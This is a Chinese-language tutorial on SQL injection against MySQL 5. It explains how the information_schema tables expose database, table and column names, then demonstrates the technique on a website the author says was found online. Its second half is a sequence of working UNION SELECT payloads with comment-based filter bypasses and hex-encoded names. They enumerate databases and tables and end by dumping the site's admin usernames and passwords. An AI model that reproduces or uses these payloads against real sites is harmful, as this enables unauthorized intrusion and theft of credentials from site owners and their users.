Mysql5和之前的版本有很多不同的地方,灵活的运用其特性可以在***的时候省掉很多麻烦。你看明白这个文章后也许你会发现,原来mysql5也可以像mssql一样注射。 
一、原理分析 
我们先看看mysql5比之前增加的系统数据库information_schema的结构,它是用来存储数据库系统信息的 
CODE: 
mysql> use information_schema; 
Database changed 
mysql> show tables; 
+---------------------------------------+ 
| Tables_in_information_schema | 
+---------------------------------------+ 
| CHARACTER_SETS | 
| COLLATIONS | 
| COLLATION_CHARACTER_SET_APPLICABILITY | 
| COLUMNS | 
| COLUMN_PRIVILEGES | 
| KEY_COLUMN_USAGE | 
| ROUTINES | 
| SCHEMATA | 
| SCHEMA_PRIVILEGES | 
| STATISTICS | 
| TABLES | 
| TABLE_CONSTRAINTS | 
| TABLE_PRIVILEGES | 
| TRIGGERS | 
| USER_PRIVILEGES | 
| VIEWS | 
+---------------------------------------+ 
[Copy to clipboard] 

如果读者有兴趣可以自己装一个mysql5研究一下这几个表存储的信息,我这里只挑注射中可以用到的几个表。  
| SCHEMATA ――>存储数据库名的, 
|——>关键字段:SCHEMA_NAME,表示数据库名称 
| TABLES ――>存储表名的 
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称; 
TABLE_NAME表示表的名称 
| COLUMNS ――>存储字段名的 
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称; 
TABLE_NAME表示所属的表的名称 
COLUMN_NAME表示字段名 
可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。 
二、实战测试 
到网上找到一个注射点,首先还是像以往一样猜字段、版本和数据库用户,如图1 
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,user(),3,4,version(),6,7,8,9,10,11,12,13,14,15/* 


下面猜数据库,可以通过不断递增limit的第一个参数查询到所有的数据库名,如图2 
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,SCHEMA_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15 from/**/information_schema.SCHEMATA limit 17,1/* 


通过列出webbase里面的表名,找到敏感的表,如图三(0x77656262617365是webbase的十六进制编码) 
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=0x77656262617365/**/limit/**/11,1 


tg_adminuser十六进制编码为0x74675F61646D696E75736572,依次查找该表里面的字段名,如图4,图5 
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/1,1 


xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/2,1 


数据库,表名,字段我们都知道了,查出密码就很简单了,如图六 
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,username,3,4,password,6,7,8,9,10,11,12,13,14,15/**/from/**/webbase.tg_adminuse 


文章就到这里结束了